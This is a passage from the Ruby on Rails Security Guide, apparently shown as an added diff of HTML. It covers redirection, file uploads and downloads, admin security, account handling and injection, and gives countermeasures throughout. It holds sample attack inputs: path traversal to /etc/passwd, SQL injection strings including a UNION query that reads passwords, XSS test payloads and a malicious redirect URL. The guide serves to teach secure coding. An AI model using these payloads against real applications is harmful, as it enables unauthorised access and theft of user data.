+ <p>The above method can be placed in the <code>ApplicationController</code> and will be called when a CSRF token is not present or is incorrect on a non-GET request.</p><p>Note that <em>cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</em>. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.</p><h3 id="redirection-and-files">4 Redirection and Files</h3><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p><h4 id="redirection">4.1 Redirection</h4><div class="warning"><p><em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack.</em></p></div><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to=">http://www.example.com/site/redirect?to=</a> <a href="http://www.attacker.com">www.attacker.com</a>. Here is an example of a legacy action:</p><div class="code_container">
403
+ <pre class="brush: ruby; gutter: false; toolbar: false">
404
+ def legacy
405
+ redirect_to(params.update(action:'main'))
406
+ end
407
+
408
+ </pre>
409
+ </div>
410
+ <p>This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:</p><div class="code_container">
411
+ <pre class="brush: plain; gutter: false; toolbar: false">
412
+ http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com
413
+
414
+ </pre>
415
+ </div>
416
+ <p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <em>include only the expected parameters in a legacy action</em> (again a whitelist approach, as opposed to removing unexpected parameters). <em>And if you redirect to an URL, check it with a whitelist or a regular expression</em>.</p><h5 id="self-contained-xss">4.1.1 Self-contained XSS</h5><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p><p><code>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</code></p><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <em>do not allow the user to supply (parts of) the URL to be redirected to</em>.</p><h4 id="file-uploads">4.2 File Uploads</h4><div class="note"><p><em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div><p>Many web applications allow users to upload files. <em>File names, which the user may choose (partly), should always be filtered</em> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p><p>When filtering user input file names, <em>don't try to remove malicious parts</em>. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which <em>checks for the validity of a file name with a set of accepted characters</em>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="https://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p><div class="code_container">
417
+ <pre class="brush: ruby; gutter: false; toolbar: false">
418
+ def sanitize_filename(filename)
419
+ filename.strip.tap do |name|
420
+ # NOTE: File.basename doesn't work right with Windows paths on Unix
421
+ # get only the filename, not the whole path
422
+ name.sub! /\A.*(\\|\/)/, ''
423
+ # Finally, replace all non alphanumeric, underscore
424
+ # or periods with underscore
425
+ name.gsub! /[^\w\.\-]/, '_'
426
+ end
427
+ end
428
+
429
+ </pre>
430
+ </div>
431
+ <p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <em>vulnerability to denial-of-service attacks</em>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p><p>The solution to this is best to <em>process media files asynchronously</em>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p><h4 id="executable-code-in-file-uploads">4.3 Executable Code in File Uploads</h4><div class="warning"><p><em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.</em></p></div><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.</p><p><em>If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</em>, store files at least one level downwards.</p><h4 id="file-downloads">4.4 File Downloads</h4><div class="note"><p><em>Make sure users cannot download arbitrary files.</em></p></div><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p><div class="code_container">
432
+ <pre class="brush: ruby; gutter: false; toolbar: false">
433
+ send_file('/var/www/uploads/' + params[:filename])
434
+
435
+ </pre>
436
+ </div>
437
+ <p>Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to <em>check that the requested file is in the expected directory</em>:</p><div class="code_container">
438
+ <pre class="brush: ruby; gutter: false; toolbar: false">
439
+ basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
440
+ filename = File.expand_path(File.join(basename, @file.public_filename))
441
+ raise if basename !=
442
+ File.expand_path(File.join(File.dirname(filename), '../../../'))
443
+ send_file filename, disposition: 'inline'
444
+
445
+ </pre>
446
+ </div>
447
+ <p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p><h3 id="intranet-and-admin-security">5 Intranet and Admin Security</h3><p>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</p><p>In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p><p>Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p><p>Refer to the Injection section for countermeasures against XSS. It is <em>recommended to use the SafeErb plugin</em> also in an Intranet or administration interface.</p><p><strong>CSRF</strong> Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p><p>A real-world example is a <a href="http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.</p><p>Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
</p><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p><p>For <em>countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</em>.</p><h4 id="additional-precautions">5.1 Additional Precautions</h4><p>The common admin interface works like this: it's located at <a href="http://www.example.com/admin">www.example.com/admin</a>, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p>
448
+ <ul>
449
+ <li><p>It is very important to <em>think about the worst case</em>: What if someone really got hold of your cookies or user credentials. You could <em>introduce roles</em> for the admin interface to limit the possibilities of the attacker. Or how about <em>special login credentials</em> for the admin interface, other than the ones used for the public part of the application. Or a <em>special password for very serious actions</em>?</p></li>
450
+ <li><p>Does the admin really have to access the interface from everywhere in the world? Think about <em>limiting the login to a bunch of source IP addresses</em>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.</p></li>
451
+ <li><p><em>Put the admin interface to a special sub-domain</em> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, <a href="http://www.application.com">www.application.com</a>, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on <a href="http://www.application.com">www.application.com</a> may not read the cookie for admin.application.com and vice-versa.</p></li>
452
+ </ul>
453
+ <h3 id="user-management">6 User Management</h3><div class="note"><p><em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div><p>There are a number of authentication plug-ins for Rails available. Good ones, such as the popular <a href="https://github.com/plataformatec/devise">devise</a> and <a href="https://github.com/binarylogic/authlogic">authlogic</a>, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in <code>has_secure_password</code> method which has similar features.</p><p>Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p><div class="code_container">
454
+ <pre class="brush: plain; gutter: false; toolbar: false">
455
+ http://localhost:3006/user/activate
456
+ http://localhost:3006/user/activate?id=
457
+
458
+ </pre>
459
+ </div>
460
+ <p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p><div class="code_container">
461
+ <pre class="brush: ruby; gutter: false; toolbar: false">
462
+ User.find_by_activation_code(params[:id])
463
+
464
+ </pre>
465
+ </div>
466
+ <p>If the parameter was nil, the resulting SQL query will be</p><div class="code_container">
467
+ <pre class="brush: sql; gutter: false; toolbar: false">
468
+ SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
469
+
470
+ </pre>
471
+ </div>
472
+ <p>And thus it found the first user in the database, returned it and logged them in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">this blog post</a>. <em>It is advisable to update your plug-ins from time to time</em>. Moreover, you can review your application to find more flaws like this.</p><h4 id="brute-forcing-accounts">6.1 Brute-Forcing Accounts</h4><div class="note"><p><em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.</p><p>Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.</p><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p><p>In order to mitigate such attacks, <em>display a generic error message on forgot-password pages, too</em>. Moreover, you can <em>require to enter a CAPTCHA after a number of failed logins from a certain IP address</em>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p><h4 id="account-hijacking">6.2 Account Hijacking</h4><p>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.</p><h5 id="passwords">6.2.1 Passwords</h5><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <em>make change-password forms safe against CSRF</em>, of course. And <em>require the user to enter the old password when changing it</em>.</p><h5 id="e-mail">6.2.2 E-Mail</h5><p>However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <em>require the user to enter the password when changing the e-mail address, too</em>.</p><h5 id="other">6.2.3 Other</h5><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <em>review your application logic and eliminate all XSS and CSRF vulnerabilities</em>.</p><h4 id="captchas">6.3 CAPTCHAs</h4><div class="info"><p><em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot.</em></p></div><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="https://github.com/ambethia/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
473
+ The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.</p><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p>
474
+ <ul>
475
+ <li>position the fields off of the visible area of the page</li>
476
+ <li>make the elements very small or color them the same as the background of the page</li>
477
+ <li>leave the fields displayed, but tell humans to leave them blank</li>
478
+ </ul>
479
+ <p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p>
480
+ <ul>
481
+ <li>Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.</li>
482
+ <li>Randomize the field names</li>
483
+ <li>Include more than one honeypot field of all types, including submission buttons</li>
484
+ </ul>
485
+ <p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So <em>negative CAPTCHAs might not be good to protect login forms</em>.</p><h4 id="logging">6.4 Logging</h4><div class="warning"><p><em>Tell Rails not to put passwords in the log files.</em></p></div><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <em>filter certain request parameters from your log files</em> by appending them to <code>config.filter_parameters</code> in the application configuration. These parameters will be marked [FILTERED] in the log.</p><div class="code_container">
486
+ <pre class="brush: ruby; gutter: false; toolbar: false">
487
+ config.filter_parameters &lt;&lt; :password
488
+
489
+ </pre>
490
+ </div>
491
+ <h4 id="good-passwords">6.5 Good Passwords</h4><div class="info"><p><em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analyzed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p><p>password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.</p><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <em>first letters of a sentence that you can easily remember</em>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p><h4 id="regular-expressions">6.6 Regular Expressions</h4><div class="info"><p><em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:</p><div class="code_container">
492
+ <pre class="brush: ruby; gutter: false; toolbar: false">
493
+ /^https?:\/\/[^\n]+$/i
494
+
495
+ </pre>
496
+ </div>
497
+ <p>This may work fine in some languages. However, <em>in Ruby ^ and $ match the <strong>line</strong> beginning and line end</em>. And thus a URL like this passes the filter without problems:</p><div class="code_container">
498
+ <pre class="brush: plain; gutter: false; toolbar: false">
499
+ javascript:exploit_code();/*
500
+ http://hi.com
501
+ */
502
+
503
+ </pre>
504
+ </div>
505
+ <p>This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:</p><div class="code_container">
506
+ <pre class="brush: ruby; gutter: false; toolbar: false">
507
+ link_to "Homepage", @user.homepage
508
+
509
+ </pre>
510
+ </div>
511
+ <p>The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.</p><p>To fix the regular expression, \A and \z should be used instead of ^ and $, like so:</p><div class="code_container">
512
+ <pre class="brush: ruby; gutter: false; toolbar: false">
513
+ /\Ahttps?:\/\/[^\n]+\z/i
514
+
515
+ </pre>
516
+ </div>
517
+ <p>Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:</p><div class="code_container">
518
+ <pre class="brush: ruby; gutter: false; toolbar: false">
519
+ # content should include a line "Meanwhile" anywhere in the string
520
+ validates :content, format: { with: /^Meanwhile$/, multiline: true }
521
+
522
+ </pre>
523
+ </div>
524
+ <p>Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the <strong>line</strong> beginning and line end in Ruby, and not the beginning and end of a string.</p><h4 id="privilege-escalation">6.7 Privilege Escalation</h4><div class="warning"><p><em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div><p>The most common parameter that a user might tamper with, is the id parameter, as in <code>http://www.domain.com/project/1</code>, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:</p><div class="code_container">
525
+ <pre class="brush: ruby; gutter: false; toolbar: false">
526
+ @project = Project.find(params[:id])
527
+
528
+ </pre>
529
+ </div>
530
+ <p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, <em>query the user's access rights, too</em>:</p><div class="code_container">
531
+ <pre class="brush: ruby; gutter: false; toolbar: false">
532
+ @project = @current_user.projects.find(params[:id])
533
+
534
+ </pre>
535
+ </div>
536
+ <p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <em>no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</em>.</p><p>Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <em>JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</em>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p><h3 id="injection">7 Injection</h3><div class="info"><p><em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p><h4 id="whitelists-versus-blacklists">7.1 Whitelists versus Blacklists</h4><div class="note"><p><em>When sanitizing, protecting or verifying something, prefer whitelists over blacklists.</em></p></div><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <em>prefer to use whitelist approaches</em>:</p>
537
+ <ul>
538
+ <li>Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions.</li>
539
+ <li>Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.</li>
540
+ <li>Don't try to correct user input by blacklists:
541
+
542
+ <ul>
543
+ <li>This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")</li>
544
+ <li>But reject malformed input</li>
545
+ </ul>
546
+ </li>
547
+ </ul>
548
+ <p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p><h4 id="sql-injection">7.2 SQL Injection</h4><div class="info"><p><em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div><h5 id="sql-injection-introduction">7.2.1 Introduction</h5><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p><div class="code_container">
549
+ <pre class="brush: ruby; gutter: false; toolbar: false">
550
+ Project.where("name = '#{params[:name]}'")
551
+
552
+ </pre>
553
+ </div>
554
+ <p>This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:</p><div class="code_container">
555
+ <pre class="brush: sql; gutter: false; toolbar: false">
556
+ SELECT * FROM projects WHERE name = '' OR 1 --'
557
+
558
+ </pre>
559
+ </div>
560
+ <p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p><h5 id="bypassing-authorization">7.2.2 Bypassing Authorization</h5><p>Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p><div class="code_container">
561
+ <pre class="brush: ruby; gutter: false; toolbar: false">
562
+ User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
563
+
564
+ </pre>
565
+ </div>
566
+ <p>If an attacker enters ' OR '1'='1 as the name, and ' OR '2'&gt;'1 as the password, the resulting SQL query will be:</p><div class="code_container">
567
+ <pre class="brush: sql; gutter: false; toolbar: false">
568
+ SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
569
+
570
+ </pre>
571
+ </div>
572
+ <p>This will simply find the first record in the database, and grants access to this user.</p><h5 id="unauthorized-reading">7.2.3 Unauthorized Reading</h5><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p><div class="code_container">
573
+ <pre class="brush: ruby; gutter: false; toolbar: false">
574
+ Project.where("name = '#{params[:name]}'")
575
+
576
+ </pre>
577
+ </div>
578
+ <p>And now let's inject another query using the UNION statement:</p><div class="code_container">
579
+ <pre class="brush: plain; gutter: false; toolbar: false">
580
+ ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
581
+
582
+ </pre>
583
+ </div>
584
+ <p>This will result in the following SQL query:</p><div class="code_container">
585
+ <pre class="brush: sql; gutter: false; toolbar: false">
586
+ SELECT * FROM projects WHERE (name = '') UNION
587
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --'
588
+
589
+ </pre>
590
+ </div>
591
+ <p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p><h5 id="sql-injection-countermeasures">7.2.4 Countermeasures</h5><p>Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em>Using <code>Model.find(id)</code> or <code>Model.find_by_some thing(something)</code> automatically applies this countermeasure</em>. But in SQL fragments, especially <em>in conditions fragments (<code>where("...")</code>), the <code>connection.execute()</code> or <code>Model.find_by_sql()</code> methods, it has to be applied manually</em>.</p><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p><div class="code_container">
592
+ <pre class="brush: ruby; gutter: false; toolbar: false">
593
+ Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
594
+
595
+ </pre>
596
+ </div>
597
+ <p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p><div class="code_container">
598
+ <pre class="brush: ruby; gutter: false; toolbar: false">
599
+ Model.where(login: entered_user_name, password: entered_password).first
600
+
601
+ </pre>
602
+ </div>
603
+ <p>The array or hash form is only available in model instances. You can try <code>sanitize_sql()</code> elsewhere. <em>Make it a habit to think about the security consequences when using an external string in SQL</em>.</p><h4 id="cross-site-scripting-(xss)">7.3 Cross-Site Scripting (XSS)</h4><div class="info"><p><em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div><h5 id="entry-points">7.3.1 Entry Points</h5><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/mpack-uncovered/">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.</p><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p><h5 id="html/javascript-injection">7.3.2 HTML/JavaScript Injection</h5><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <em>Escaping user input is essential</em>.</p><p>Here is the most straightforward test to check for XSS:</p><div class="code_container">
604
+ <pre class="brush: xml; gutter: false; toolbar: false">
605
+ &lt;script&gt;alert('Hello');&lt;/script&gt;
606
+
607
+ </pre>
608
+ </div>
609
+ <p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p><div class="code_container">
610
+ <pre class="brush: xml; gutter: false; toolbar: false">
611
+ &lt;img src=javascript:alert('Hello')&gt;
612
+ &lt;table background="javascript:alert('Hello')"&gt;
613
+
614
+ </pre>
615
+ </div>
616
+ <h6 id="cookie-theft">7.3.2.1 Cookie Theft</h6><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p><div class="code_container">
617
